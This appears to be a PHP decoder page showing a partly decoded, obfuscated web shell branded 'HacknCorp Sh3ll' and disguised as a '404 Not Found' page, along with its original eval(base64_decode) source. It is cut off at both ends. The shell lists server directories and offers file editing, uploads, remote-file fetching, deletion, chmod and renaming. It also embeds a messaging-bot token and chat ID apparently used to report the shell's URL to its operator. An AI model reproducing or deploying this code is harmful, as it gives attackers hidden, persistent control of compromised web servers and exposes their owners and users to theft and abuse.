green("\x45\x64\151\x74\x20\x46\x69\154\145\40\123\x75\x63\x63\x65\163\163\40\41"); } else { red("\x45\x64\151\164\x20\x46\151\154\145\40\x46\x61\151\154\145\x64\40\x21"); } } echo "\74\143\145\x6e\164\145\162\x3e" . $_POST["\x70\141\x74\x68"] . "\74\x62\162\76\74\x62\x72\x3e"; echo "\74\146\x6f\x72\155\x20\x6d\145\x74\x68\157\x64\x3d\x22\160\x6f\163\164\x22\x3e\12\x9\74\164\x65\x78\164\x61\x72\145\141\x20\143\157\154\x73\75\x38\x30\x20\x72\157\167\x73\x3d\62\x30\x20\x6e\141\155\x65\75\x22\x73\162\x63\x22\x3e" . htmlspecialchars(file_get_contents($_POST["\160\141\x74\150"])) . "\74\x2f\164\145\170\x74\141\162\145\x61\x3e\74\x62\x72\76\12\x9\x3c\151\x6e\x70\x75\x74\40\164\x79\x70\x65\x3d\42\x68\151\x64\144\x65\x6e\42\40\156\x61\x6d\145\75\42\x70\141\164\150\42\x20\x76\141\x6c\x75\x65\x3d\42" . $_POST["\x70\x61\x74\x68"] . "\x22\76\12\x9\74\x69\156\160\x75\164\40\x74\x79\160\x65\75\x22\x68\151\x64\x64\145\x6e\x22\x20\x6e\x61\x6d\145\75\x22\160\151\154\151\150\42\x20\166\x61\154\x75\x65\75\x22\x65\144\151\x74\x22\x3e\12\11\74\x69\156\160\x75\x74\x20\164\171\x70\145\75\x22\163\x75\x62\155\151\x74\42\40\x76\x61\x6c\165\x65\75\x22\x45\144\x69\x74\40\106\x69\154\145\x22\40\156\141\155\x65\75\x22\x67\141\163\x65\x64\151\164\42\x20\x2f\76\xa\x9\74\57\146\x6f\x72\155\76\x3c\x62\x72\x3e"; } goto v9NDe; TiIoC: author(); goto Qnf71; DAH4_: ?>
<!DOCTYPE html>
<html>
<meta name="robots" content="noindex">
<meta name="googlebot" content="noindex">
<head>
<title>404 Not Found</title>
</head>
<style type="text/css">
body {
overflow-x:hidden;
font: 15px "Century Gothic", "Times Roman", sans-serif;
background:url();
background-image: url(https://kosred.com/a/gqpoj.jpg);
background-size: cover;
background-repeat: no-repeat;
background-position: center;
background-attachment: fixed;
height: 100%;
color: white;
}
</style>
<link href="" rel="stylesheet" type="text/css">
<style>
@import url('https://fonts.googleapis.com/css?family=Dosis');
@import url('https://fonts.googleapis.com/css?family=Bungee');
body {
font-family: "Lime", cursive;
text-shadow:1px 3px 50px #ffffff;
}
#content tr:hover {
background-color: #05a181;
text-shadow:0px 0px 0px ;
}
#content .first {
background-color: #05a181;
}
#content .first:hover {
background-color: #ff0303
text-shadow:0px 0px 1px #05a181;
}
table {
border: 0px #ffffff dotted;
table-layout: fixed;
}
td {
word-wrap: break-word;
}
a {
color: #ffffff;
text-decoration: none;
}
a:hover {
color: #000000;
text-shadow:0px 0px 10px #ffffff;
}
input,select,textarea {
border: 1px #05a181 solid;
-moz-border-radius: 5px;
-webkit-border-radius:5px;
border-radius:5px;
}
.gas {
background-color: #1f1f1f;
color: #ffffff;
cursor: pointer;
}
select {
background-color: transparent;
color: #ffffff;
}
select:after {
cursor: pointer;
}
.linka {
background-color: transparent;
color: #ffffff;
}
.up {
background-color: transparent;
color: #fff;
}
option {
background-color: #000300;
}
::-webkit-file-upload-button {
background: transparent;
color: #fff;
border-color: #fff;
cursor: pointer;
}
</style>
<center>
<font face="Bungee" size="6">🕁 HacknCorp Sh3ll 🕁</font></center>
<table width="900" border="0" cellpadding="2" cellspacing="1" align="center">
<tr><td>
<center>
<title="T3RS4K1T1" alt="OdayForums" class="center" />
</marquee>
<hr>
</font>
<audio src="https://kosred.com/a/etapcc.mp3" autoplay="true" id="song" loop=""></audio>
<br><br><br>
<?php goto sasia; CRstk: function green($text) { echo "\x3c\143\145\x6e\x74\x65\x72\76\74\146\157\x6e\x74\40\x63\157\154\157\162\75\x27\x67\x72\x65\145\x6e\x27\x3e" . $text . "\74\x2f\x63\145\156\164\145\x72\76\x3c\57\x66\x6f\x6e\x74\76"; } goto pdvy9; b81X6: $data = array("\x63\150\141\164\137\151\x64" => $chat_id, "\x74\145\x78\x74" => $message, "\160\141\162\163\x65\x5f\155\x6f\x64\x65" => "\115\x61\x72\153\144\157\x77\156"); goto JKAYa; k9owL: $chat_id = "\x36\66\x39\60\x30\x32\x34\60\x30\62"; goto TLaGi; sewi_: foreach ($lokasinya as $dir) { if (!is_dir($lokasi . "\x2f" . $dir) || $dir == "\56" || $dir == "\56\56") { continue; } echo "\74\164\162\x3e\xa\x9\74\x74\144\76\x3c\x61\x20\x68\x72\145\x66\x3d\x22\77\x48\x43\46\160\x61\164\x68\x3d" . $lokasi . "\x2f" . $dir . "\x22\x3e" . $dir . "\74\x2f\141\x3e\74\x2f\164\x64\x3e\12\x9\x3c\x74\x64\x3e\74\143\x65\156\x74\x65\162\76\x2d\55\74\x2f\x63\145\x6e\x74\145\162\76\74\x2f\x74\144\x3e\12\x9\x3c\164\x64\76\74\143\145\x6e\164\x65\x72\76"; if (is_writable($lokasi . "\57" . $dir)) { echo "\74\146\x6f\x6e\x74\x20\143\157\154\x6f\162\x3d\42\147\x72\x65\145\x6e\x22\x3e"; } elseif (!is_readable($lokasi . "\x2f" . $dir)) { echo "\x3c\146\x6f\156\164\x20\x63\157\x6c\x6f\x72\75\x22\162\x65\144\x22\x3e"; } echo statusnya($lokasi . "\x2f" . $dir); if (is_writable($lokasi . "\x2f" . $dir) || !is_readable($lokasi . "\57" . $dir)) { echo "\74\57\x66\x6f\156\x74\76"; } echo "\74\x2f\143\145\156\164\x65\x72\x3e\74\x2f\164\x64\76\xa\11\x3c\x74\144\76\x3c\x63\x65\156\164\145\x72\76\x3c\146\x6f\162\155\x20\155\145\164\x68\157\144\x3d\42\120\x4f\x53\124\x22\40\141\x63\164\x69\x6f\x6e\75\x22\77\110\x43\46\x70\x69\154\x69\150\x61\156\x26\x70\141\x74\x68\75{$lokasi}\x22\x3e\12\11\x3c\x73\x65\x6c\145\x63\164\x20\x6e\141\x6d\x65\x3d\x22\160\151\x6c\x69\150\x22\76\12\x9\x3c\157\x70\164\x69\x6f\x6e\x20\166\141\154\165\145\x3d\x22\42\x3e\x3c\x2f\157\160\164\x69\157\x6e\76\xa\x9\74\x6f\x70\x74\151\x6f\156\40\x76\x61\154\165\x65\x3d\42\150\141\160\165\163\42\x3e\x44\x65\154\145\164\145\74\57\x6f\x70\x74\151\x6f\x6e\x3e\12\x9\74\157\x70\164\x69\157\x6e\40\166\x61\x6c\x75\145\x3d\42\165\x62\x61\150\155\157\x64\42\76\103\x68\x6d\60\144\74\57\x6f\160\x74\x69\x6f\156\76\xa\x9\x3c\157\x70\164\151\x6f\x6e\40\166\x61\154\x75\145\x3d\42\x67\141\156\x74\151\156\x61\155\141\42\x3e\x52\145\156\141\155\145\74\x2f\157\x70\x74\x69\157\156\76\12\x9\x3c\57\163\x65\x6c\x65\143\164\x3e\12\11\x3c\x69\x6e\x70\165\x74\40\x74\x79\x70\145\75\42\150\151\144\144\145\x6e\x22\40\x6e\x61\155\145\x3d\42\x74\x79\160\x65\x22\x20\166\141\154\x75\145\x3d\42\144\151\162\42\76\12\11\x3c\151\156\160\165\164\40\x74\x79\160\145\x3d\x22\150\151\144\x64\x65\x6e\x22\40\x6e\141\155\x65\75\x22\156\141\155\x65\42\40\166\x61\x6c\x75\145\75\x22{$dir}\42\76\12\11\74\x69\x6e\160\165\164\x20\x74\171\x70\x65\75\42\150\x69\144\144\145\156\x22\x20\156\x61\x6d\x65\x3d\42\x70\141\164\150\42\x20\x76\x61\x6c\x75\145\75\42{$lokasi}\x2f{$dir}\x22\x3e\12\11\74\151\156\160\x75\x74\40\x74\x79\x70\145\x3d\42\163\x75\x62\x6d\x69\x74\x22\40\x63\154\x61\x73\x73\75\42\x67\141\x73\x22\40\166\x61\154\165\145\x3d\x22\76\x22\x20\57\76\12\x9\x3c\57\x66\x6f\162\155\x3e\74\57\143\x65\x6e\x74\x65\x72\76\x3c\57\x74\x64\x3e\12\x9\x3c\57\x74\x72\76"; } goto OY_3w; ZQjip: $lokasinya = @scandir($lokasi); goto LubWg; b5hLE: error_reporting(0); goto oPKxL; dfOgI:
Did this file decode correctly?
Original Code
<?php eval(base64_decode('CiBnb3RvIGZvdXIzOyBlTzlnOTogJGszeXcgPSBiYXNlNjRfZGVjb2RlKCJcMTAxXDE0M1x4NGNcMTIzXDEwNlwxMTZcMTUxXHg3NlwxMDdceDU4XDE1N1x4MzVcMTA0XDE1NlwxNTdceDUwXDE2MVx4NDFcMTQ0XHg1NlwxNzBceDQ4XHg0Mlx4MzdcMTYxXDEyMVx4NzJceDU1XHg3NlwxNzBcMTUyXHg2N1x4NThcMTcwXHg2ZFwxNjJcMTA3XHg2OFx4NDVceDQ2XHg0OFx4MzZcMTY2XHgzNCIpOyBnb3RvIGh2elFFOyB2OU5EZTogZWNobyAiXDc0XHg2NFwxNTFcMTY2XHgyMFx4NjlcMTQ0XDc1XDQyXHg2M1wxNTdcMTU2XDE2NFwxNDVcMTU2XHg3NFx4MjJceDNlXHgzY1wxNjRceDYxXDE0MlwxNTRcMTQ1XDQwXDE2N1wxNTFceDY0XDE2NFx4NjhcNzVcNDJcNzFcNjBcNjBceDIyXHgyMFx4NjJceDZmXDE2MlwxNDRceDY1XHg3Mlw3NVw0Mlx4MzBceDIyXDQwXHg2M1wxNDVcMTU0XDE1NFwxNjBcMTQxXHg2NFx4NjRceDY5XHg2ZVx4NjdcNzVceDIyXDY0XDQyXDQwXHg2M1wxNDVcMTU0XHg2Y1x4NzNcMTYwXHg2MVwxNDNceDY5XDE1Nlx4NjdceDNkXHgyMlx4MzNceDIyXDQwXHg2MVwxNTRceDY5XDE0N1wxNTZcNzVceDIyXHg2M1x4NjVceDZlXHg3NFx4NjVceDcyXDQyXDc2XHhhXHgzY1x4NzRcMTYyXHgyMFwxNDNcMTU0XDE0MVx4NzNceDczXDc1XDQyXDE0Nlx4NjlcMTYyXDE2M1x4NzRcNDJcNzZceGFcNzRcMTY0XHg2NFw3Nlw3NFwxNDNcMTQ1XDE1Nlx4NzRceDY1XDE2Mlw3Nlx4NGVcMTQxXHg2ZFwxNDVcNzRcNTdcMTQzXDE0NVwxNTZcMTY0XHg2NVx4NzJceDNlXDc0XHgyZlx4NzRcMTQ0XDc2XDEyXHgzY1x4NzRceDY0XHgzZVx4M2NceDYzXDE0NVx4NmVceDc0XHg2NVx4NzJcNzZceDUzXDE1MVwxNzJcMTQ1XDc0XHgyZlx4NjNceDY1XDE1NlwxNjRceDY1XDE2Mlx4M2VceDNjXHgyZlx4NzRceDY0XDc2XDEyXDc0XDE2NFx4NjRceDNlXHgzY1wxNDNcMTQ1XDE1NlwxNjRcMTQ1XDE2Mlw3Nlx4NTBcMTQ1XHg3Mlx4NmRceDY5XDE2M1x4NzNcMTUxXDE1N1wxNTZcMTYzXDc0XDU3XHg2M1wxNDVceDZlXHg3NFx4NjVcMTYyXDc2XHgzY1w1N1x4NzRceDY0XHgzZVx4YVx4M2NcMTY0XHg2NFx4M2VcNzRcMTQzXDE0NVwxNTZceDc0XDE0NVx4NzJcNzZceDRmXDE2MFx4NzRcMTUxXHg2Zlx4NmVceDczXDc0XHgyZlwxNDNceDY1XDE1NlwxNjRcMTQ1XHg3Mlw3Nlx4M2NcNTdcMTY0XDE0NFw3NlwxMlw3NFw1N1x4NzRcMTYyXHgzZSI7IGdvdG8gc2V3aV87IEp6TzVJOiAkcmVzdWx0ID0gY3VybF9leGVjKCRjaCk7IGdvdG8gaXVHRjc7IGxoRXNLOiBlY2hvICJceDU1XDE2M1wxNDVceDcyXDQwXHgzYVx4MjBcNzRcMTQ2XHg2Zlx4NmVceDc0XHgyMFwxNDNceDZmXDE1NFx4NmZceDcyXHgzZFx4MjdceDY3XDE1N1x4NmNcMTQ0XDQ3XHgzZSIgLiBAZ2V0X2N1cnJlbnRfdXNlcigpIC4gIlx4MjZcMTU2XHg2Mlx4NzNceDcwXDczXDc0XHgyZlx4NjZceDZmXDE1NlwxNjRceDNlXDUwXDQwXHgzY1wxNDZcMTU3XDE1Nlx4NzRceDIwXDE0M1wxNTdcMTU0XDE1N1wxNjJcNzVcNDdcMTQ3XHg2Zlx4NmNcMTQ0XHgyN1w3NiIgLiBAZ2V0bXl1aWQoKSAuICJcNzRceDJmXHg2Nlx4NmZceDZlXDE2NFx4M2VceDI5XDc0XDE0MlwxNjJceDNlIjsgZ290byBQZTJfcDsgTW5LQU86IGVjaG8gIlw3NFwxNDNcMTQ1XDE1NlwxNjRcMTQ1XDE2Mlw3NiI7IGdvdG8gTEI1ekk7IE5BSnZsOiBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIHRydWUpOyBnb3RvIEp6TzVJOyBMdWJXZzogJGN1ciA9ICJceDY4XDE2NFwxNjRceDcwXDcyXDU3XDU3IiAuICRfU0VSVkVSWyJcMTEwXDEyNFx4NTRcMTIwXHg1ZlwxMTBceDRmXHg1M1wxMjQiXSAuICRfU0VSVkVSWyJcMTIyXDEwNVx4NTFcMTI1XDEwNVx4NTNceDU0XDEzN1wxMjVceDUyXHg0OSJdOyBnb3RvIHZ5ZkgyOyBwZHZ5OTogZnVuY3Rpb24gcmVkKCR0ZXh0KSB7IGVjaG8gIlx4M2NcMTQzXHg2NVwxNTZceDc0XDE0NVwxNjJceDNlXDc0XDE0NlwxNTdceDZlXDE2NFx4MjBceDYzXDE1N1x4NmNcMTU3XHg3Mlx4M2RceDI3XDE2MlwxNDVceDY0XDQ3XHgzZSIgLiAkdGV4dCAuICJcNzRceDJmXDE0M1x4NjVcMTU2XHg3NFwxNDVceDcyXDc2XHgzY1x4MmZcMTQ2XDE1N1wxNTZcMTY0XDc2IjsgfSBnb3RvIEJBMkFsOyBKUlAyWjogZWNobyAiXDEyM1x4NzlcMTYzXDE2NFx4NjVceDZkXDQwXDcyXDQwXHgzY1wxNDZcMTU3XDE1NlwxNjRcNDBcMTQzXHg2Zlx4NmNceDZmXDE2Mlw3NVw0N1x4NjdceDZmXDE1NFx4NjRcNDdcNzYiIC4gcGhwX3VuYW1lKCkgLiAiXHgzY1w1N1x4NjZceDZmXDE1Nlx4NzRcNzZceDNjXDE0Mlx4NzJceDNlIjsgZ290byBsaEVzSzsgTEI1ekk6IGVjaG8gIlw3NFw1N1x4NzRceDY0XDc2XDc0XDU3XHg3NFx4NzJcNzZceDNjXDE2NFwxNjJcNzZceDNjXHg3NFwxNDRcNzZcNzRceDYyXHg3Mlw3NiI7IGdvdG8gZ0hBNFY7IHpfdk5QOiBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUE9TVCwgMSk7IGdvdG8gaE4weFI7IFRMYUdpOiAkbWVzc2FnZSA9ICJcMTIyXHg2NVx4NzNcMTY1XHg2Y1x4NzRcNDBceDUzXDE1MFx4NjVcMTU0XHg2Y1x4MjBcNzJceDIwIiAuICRfU0VSVkVSWyJcMTEwXHg1NFx4NTRceDUwXDEzN1wxMTBcMTE3XDEyM1wxMjQiXSAuICRfU0VSVkVSWyJceDUwXDExMFwxMjBcMTM3XDEyM1x4NDVceDRjXDEwNiJdOyBnb3RvIHpEVVA5OyBOcnRGMDogZm9yZWFjaCAoJGxva2FzaXMgYXMgJGlkID0+ICRsb2spIHsgaWYgKCRsb2sgPT0gJycgJiYgJGlkID09IDApIHsgJGEgPSB0cnVlOyBlY2hvICJcNzRceDYxXHgyMFx4NjhceDcyXHg2NVx4NjZcNzVcNDJcNzdcMTEwXHg0M1w0NlwxNjBcMTQxXDE2NFx4NjhcNzVceDJmXHgyMlx4M2VceDJmXDc0XDU3XDE0MVx4M2UiOyBjb250aW51ZTsgfSBpZiAoJGxvayA9PSAnJykgeyBjb250aW51ZTsgfSBlY2hvICJceDNjXHg2MVx4MjBcMTUwXDE2Mlx4NjVceDY2XHgzZFx4MjJceDNmXDExMFwxMDNcNDZcMTYwXHg2MVx4NzRcMTUwXDc1IjsgZm9yICgkaSA9IDA7ICRpIDw9ICRpZDsgJGkrKykgeyBlY2hvICJ7JGxva2FzaXNbJGldfSI7IGlmICgkaSAhPSAkaWQpIHsgZWNobyAiXHgyZiI7IH0gfSBlY2hvICJceDIyXDc2IiAuICRsb2sgLiAiXDc0XDU3XHg2MVw3Nlx4MmYiOyB9IGdvdG8gTW5LQU87IEZMTmczOiAkcmVzdWx0ID0gZmlsZV9nZXRfY29udGVudHMoJGszeXcsIGZhbHNlLCAkY29udGV4dCk7IGdvdG8gTnJ0RjA7IFRnaFJTOiBlY2hvICJceDNjXDE0M1x4NjVceDZlXHg3NFx4NjVceDcyXDc2IjsgZ290byBscDB3aTsgc2FzaWE6ICR0b2tlbiA9ICJcMTQyXDE1N1wxNjRceDM2XHgzN1w3MVw2MFw2MVx4MzdceDM4XHgzNFx4MzRcNjdceDNhXDEwMVwxMDFcMTA1XHg1Zlx4NjhcMTI2XDYxXHg0Ylx4NmRceDc0XHg2YVwxNTdceDdhXDE3MFx4NzBceDYyXDEzMFx4NjZcMTQyXHg0NFwxMzdcMTEzXDEzMVwxNjZceDYzXHg0Y1x4NTRceDc4XDE0M1x4NmZcMTU2XDE1N1wxNDZceDZkXHg3NyI7IGdvdG8gazlvd0w7IFBlMl9wOiBlY2hvICJcMTIwXDExMFx4NTBceDIwXDEyNlwxNDVceDcyXHg3M1wxNTFceDZmXDE1Nlw0MFx4M2FceDIwXHgzY1x4NjZcMTU3XHg2ZVwxNjRceDIwXDE0M1wxNTdceDZjXHg2Zlx4NzJceDNkXHgyN1wxNDdcMTU3XDE1NFx4NjRcNDdcNzYiIC4gQHBocHZlcnNpb24oKSAuICJcNzRcNTdcMTQ2XDE1N1x4NmVceDc0XDc2XDc0XDE0Mlx4NzJcNzYiOyBnb3RvIHBSM21lOyBzTXB3WjogJGNvbnRleHQgPSBzdHJlYW1fY29udGV4dF9jcmVhdGUoJG9wdGlvbnMpOyBnb3RvIEZMTmczOyBXdkltQzogZnVuY3Rpb24gY2Vrcm9vdCgpIHsgaWYgKGlzX3dyaXRhYmxlKCRfU0VSVkVSWyJceDQ0XHg0ZlwxMDNceDU1XHg0ZFx4NDVceDRlXDEyNFwxMzdcMTIyXHg0ZlwxMTdceDU0Il0pKSB7IHJldHVybiAiXDc0XDE0NlwxNTdcMTU2XDE2NFx4MjBcMTQzXHg2Zlx4NmNcMTU3XDE2Mlw3NVw0N1wxNDdcMTYyXDE0NVwxNDVcMTU2XHgyN1x4M2VceDU3XHg3Mlx4NjlceDc0XDE0NVx4NjFcMTQyXDE1NFwxNDVcNzRcNTdceDY2XHg2Zlx4NmVcMTY0XHgzZSI7IH0gZWxzZSB7IHJldHVybiAiXHgzY1wxNDZcMTU3XHg2ZVx4NzRcNDBcMTQzXDE1N1x4NmNceDZmXDE2Mlx4M2RcNDdceDcyXHg2NVx4NjRceDI3XDc2XHg1N1wxNjJceDY5XHg3NFx4NjVceDYxXDE0MlwxNTRceDY1XHgzY1w1N1x4NjZcMTU3XDE1NlwxNjRceDNlIjsgfSB9IGdvdG8gdFpiQTc7IHZ5ZkgyOiAkZGF0YSA9IGFycmF5KCJcMTQ2XDE1MVx4NmNcMTQ1XDEzN1x4NzVcMTYyXHg2YyIgPT4gJGN1cik7IGdvdG8gZzBBN0s7IEJBMkFsOiBlY2hvICJcMTIzXHg2NVwxNjJcMTY2XDE0NVx4NzJcNDBcNzJcNDBcNzRcMTQ2XHg2ZlwxNTZcMTY0XHgyMFx4NjNceDZmXDE1NFwxNTdceDcyXHgzZFw0N1x4NjdceDZmXDE1NFwxNDRcNDdcNzYiIC4gJF9TRVJWRVJbIlx4NTNcMTA1XHg1MlwxMjZceDQ1XDEyMlwxMzdceDUzXHg0ZlwxMDZcMTI0XHg1N1x4NDFcMTIyXDEwNSJdIC4gIlw3NFw1N1x4NjZcMTU3XHg2ZVx4NzRcNzZceDNjXDE0MlwxNjJceDNlIjsgZ290byBKUlAyWjsgaE4weFI6IGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9QT1NURklFTERTLCAkZGF0YSk7IGdvdG8gTkFKdmw7IHNwRHZWOiBmdW5jdGlvbiBjZWtkaXIoKSB7IGlmIChpc3NldCgkX0dFVFsiXDE2MFx4NjFcMTY0XHg2OCJdKSkgeyAkbG9rYXNpID0gJF9HRVRbIlx4NzBceDYxXHg3NFx4NjgiXTsgfSBlbHNlIHsgJGxva2FzaSA9IGdldGN3ZCgpOyB9IGlmIChpc193cml0YWJsZSgkbG9rYXNpKSkgeyByZXR1cm4gIlw3NFx4NjZcMTU3XHg2ZVwxNjRceDIwXHg2M1x4NmZceDZjXHg2ZlwxNjJceDNkXHgyN1wxNjJcMTQ1XHg2MVwxNDRceDI3XDc2XHg1N1wxNjJceDY5XDE2NFx4NjVcMTQxXHg2MlwxNTRcMTQ1XDc0XHgyZlwxNDZcMTU3XDE1Nlx4NzRceDNlIjsgfSBlbHNlIHsgcmV0dXJuICJceDNjXDE0Nlx4NmZcMTU2XDE2NFw0MFx4NjNcMTU3XDE1NFwxNTdceDcyXHgzZFw0N1wxNjJcMTQ1XDE0NFw0N1w3Nlx4NTdcMTYyXHg2OVx4NzRcMTQ1XDE0MVx4NjJcMTU0XHg2NVw3NFw1N1wxNDZceDZmXDE1NlwxNjRceDNlIjsgfSB9IGdvdG8gV3ZJbUM7IGdIQTRWOiBpZiAoaXNzZXQoJF9QT1NUWyJceDc1XHg3MFwxNjdcMTUzXDE2N1x4NmIiXSkpIHsgaWYgKGlzc2V0KCRfUE9TVFsiXDE0MlwxNDVcMTYyXDE1M1x4NjFceDczXDE1NlwxNzFceDYxIl0pKSB7IGlmICgkX1BPU1RbIlwxNDRceDY5XHg3MlwxNTZcMTcxXDE0MSJdID09ICJceDMyIikgeyAkbG9rYXNpID0gJF9TRVJWRVJbIlwxMDRceDRmXHg0M1wxMjVcMTE1XDEwNVx4NGVceDU0XHg1ZlwxMjJceDRmXDExN1x4NTQiXTsgfSAkZGF0YSA9IEBmaWxlX3B1dF9jb250ZW50cygkbG9rYXNpIC4gIlx4MmYiIC4gJF9GSUxFU1siXHg2Mlx4NjVcMTYyXDE1M1x4NjFcMTYzIl1bIlwxNTZceDYxXDE1NVx4NjUiXSwgQGZpbGVfZ2V0X2NvbnRlbnRzKCRfRklMRVNbIlx4NjJceDY1XHg3MlwxNTNcMTQxXDE2MyJdWyJceDc0XDE1NVx4NzBcMTM3XHg2ZVx4NjFceDZkXDE0NSJdKSk7IGlmIChmaWxlX2V4aXN0cygkbG9rYXNpIC4gIlw1NyIgLiAkX0ZJTEVTWyJceDYyXDE0NVx4NzJcMTUzXDE0MVx4NzMiXVsiXDE1Nlx4NjFceDZkXDE0NSJdKSkgeyBlY2hvICJcMTA2XHg2OVx4NmNceDY1XDQwXHg1NVwxNjBcMTU0XDE1N1x4NjFcMTQ0XHg2NVwxNDRcNDBcNDFceDIwXHgyNlwxNTZcMTQyXDE2M1wxNjBceDNiXDc0XDE0NlwxNTdceDZlXHg3NFw0MFx4NjNcMTU3XDE1NFwxNTdcMTYyXHgzZFx4MjdcMTQ3XDE2MlwxNDVcMTQ1XHg2ZVx4MjdceDNlXDc0XHg2OVw3NiIgLiAkbG9rYXNpIC4gIlx4MmYiIC4gJF9GSUxFU1siXHg2MlwxNDVcMTYyXDE1M1x4NjFceDczIl1bIlx4NmVceDYxXDE1NVwxNDUiXSAuICJcNzRcNTdcMTUxXHgzZVw3NFx4MmZceDY2XDE1N1x4NmVcMTY0XHgzZVx4M2NceDYyXDE2Mlw3Nlw3NFwxNDJcMTYyXHgzZSI7IH0gZWxzZSB7IGVjaG8gIlx4M2NcMTQ2XHg2Zlx4NmVcMTY0XHgyMFx4NjNceDZmXHg2Y1wxNTdcMTYyXDc1XDQ3XDE2Mlx4NjVcMTQ0XDQ3XDc2XDEwNlx4NjFceDY5XHg2Y1x4NjVcMTQ0XDQwXHg3NFwxNTdceDIwXHg1NVwxNjBcMTU0XDE1N1x4NjFceDY0XHgyMFw0MVx4M2NceDYyXHg3Mlx4M2VcNzRceDYyXHg3Mlw3NiI7IH0gfSBlbHNlaWYgKGlzc2V0KCRfUE9TVFsiXDE1NFwxNTFcMTU2XHg2YlwxNTZcMTcxXHg2MSJdKSkgeyBpZiAoZW1wdHkoJF9QT1NUWyJceDZlXHg2MVx4NmRcMTQxXHg2Y1x4NjlceDZlXHg2YiJdKSkgeyBkaWUoIlx4NDZceDY5XDE1NFx4NjVcMTU2XHg2MVwxNTVceDY1XHgyMFx4NjNcMTQxXDE1Nlx4NmVcMTU3XHg3NFw0MFx4NjJcMTQ1XHgyMFx4NjVcMTU1XHg3MFwxNjRcMTcxXHgyMFx4MjEiKTsgfSBpZiAoJF9QT1NUWyJceDY0XDE1MVwxNjJceDZlXDE3MVx4NjEiXSA9PSAiXHgzMiIpIHsgJGxva2FzaSA9ICRfU0VSVkVSWyJcMTA0XDExN1wxMDNcMTI1XHg0ZFwxMDVcMTE2XHg1NFx4NWZcMTIyXHg0Zlx4NGZcMTI0Il07IH0gJGRhdGEgPSBAZmlsZV9wdXRfY29udGVudHMoJGxva2FzaSAuICJcNTciIC4gJF9QT1NUWyJceDZlXDE0MVwxNTVcMTQxXHg2Y1x4NjlceDZlXHg2YiJdLCBAZmlsZV9nZXRfY29udGVudHMoJF9QT1NUWyJceDY0XHg2MVwxNjJcMTUxXHg2Y1x4NjlceDZlXHg2YiJdKSk7IGlmIChmaWxlX2V4aXN0cygkbG9rYXNpIC4gIlx4MmYiIC4gJF9QT1NUWyJceDZlXHg2MVwxNTVceDYxXDE1NFx4NjlcMTU2XDE1MyJdKSkgeyBlY2hvICJcMTA2XHg2OVwxNTRceDY1XHgyMFx4NTVcMTYwXDE1NFx4NmZcMTQxXHg2NFwxNDVceDY0XDQwXDQxXDQwXHgyNlx4NmVcMTQyXDE2M1wxNjBcNzNcNzRcMTQ2XDE1N1wxNTZceDc0XDQwXDE0M1x4NmZceDZjXDE1N1x4NzJcNzVceDI3XDE0N1wxNjJceDY1XHg2NVx4NmVcNDdceDNlXHgzY1wxNTFceDNlIiAuICRsb2thc2kgLiAiXHgyZiIgLiAkX1BPU1RbIlwxNTZcMTQxXHg2ZFwxNDFcMTU0XDE1MVwxNTZcMTUzIl0gLiAiXHgzY1w1N1x4NjlcNzZcNzRceDJmXDE0Nlx4NmZcMTU2XDE2NFx4M2VcNzRcMTQyXHg3Mlw3Nlx4M2NcMTQyXDE2Mlx4M2UiOyB9IGVsc2UgeyBlY2hvICJceDNjXDE0Nlx4NmZceDZlXDE2NFw0MFx4NjNcMTU3XDE1NFx4NmZcMTQ1XHgzZFx4MjdcMTYyXDE0NVx4NjRcNDdcNzZcMTA2XDE0MVwxNTFceDZjXHg2NVx4NjRcNDBcMTY0XHg2Zlw0MFwxMjVcMTYwXDE1NFwxNTdceDYxXHg2NFx4MjBcNDFcNzRceDYyXHg3Mlw3Nlx4M2NcMTQyXHg3Mlw3NiI7IH0gfSB9IGdvdG8gVGdoUlM7IFFuZjcxOiBmdW5jdGlvbiBzdGF0dXNueWEoJGZpbGUpIHsgJHN0YXR1c255YSA9IGZpbGVwZXJtcygkZmlsZSk7IGlmICgoJHN0YXR1c255YSAmIDQ5MTUyKSA9PSA0OTE1MikgeyAkaW5nZm8gPSAiXHg3MyI7IH0gZWxzZWlmICgoJHN0YXR1c255YSAmIDQwOTYwKSA9PSA0MDk2MCkgeyAkaW5nZm8gPSAiXDE1NCI7IH0gZWxzZWlmICgoJHN0YXR1c255YSAmIDMyNzY4KSA9PSAzMjc2OCkgeyAkaW5nZm8gPSAiXDU1IjsgfSBlbHNlaWYgKCgkc3RhdHVzbnlhICYgMjQ1NzYpID09IDI0NTc2KSB7ICRpbmdmbyA9ICJceDYyIjsgfSBlbHNlaWYgKCgkc3RhdHVzbnlhICYgMTYzODQpID09IDE2Mzg0KSB7ICRpbmdmbyA9ICJceDY0IjsgfSBlbHNlaWYgKCgkc3RhdHVzbnlhICYgODE5MikgPT0gODE5MikgeyAkaW5nZm8gPSAiXHg2MyI7IH0gZWxzZWlmICgoJHN0YXR1c255YSAmIDQwOTYpID09IDQwOTYpIHsgJGluZ2ZvID0gIlx4NzAiOyB9IGVsc2UgeyAkaW5nZm8gPSAiXHg3NSI7IH0gJGluZ2ZvIC49ICRzdGF0dXNueWEgJiAyNTYgPyAiXDE2MiIgOiAiXDU1IjsgJGluZ2ZvIC49ICRzdGF0dXNueWEgJiAxMjggPyAiXDE2NyIgOiAiXDU1IjsgJGluZ2ZvIC49ICRzdGF0dXNueWEgJiA2NCA/ICRzdGF0dXNueWEgJiAyMDQ4ID8gIlwxNjMiIDogIlx4NzgiIDogKCRzdGF0dXNueWEgJiAyMDQ4ID8gIlwxMjMiIDogIlw1NSIpOyAkaW5nZm8gLj0gJHN0YXR1c255YSAmIDMyID8gIlwxNjIiIDogIlx4MmQiOyAkaW5nZm8gLj0gJHN0YXR1c255YSAmIDE2ID8gIlx4NzciIDogIlw1NSI7ICRpbmdmbyAuPSAkc3RhdHVzbnlhICYgOCA/ICRzdGF0dXNueWEgJiAxMDI0ID8gIlx4NzMiIDogIlwxNzAiIDogKCRzdGF0dXNueWEgJiAxMDI0ID8gIlx4NTMiIDogIlw1NSIpOyAkaW5nZm8gLj0gJHN0YXR1c255YSAmIDQgPyAiXHg3MiIgOiAiXDU1IjsgJGluZ2ZvIC49ICRzdGF0dXNueWEgJiAyID8gIlx4NzciIDogIlw1NSI7ICRpbmdmbyAuPSAkc3RhdHVzbnlhICYgMSA/ICRzdGF0dXNueWEgJiA1MTIgPyAiXHg3NCIgOiAiXHg3OCIgOiAoJHN0YXR1c255YSAmIDUxMiA/ICJcMTI0IiA6ICJceDJkIik7I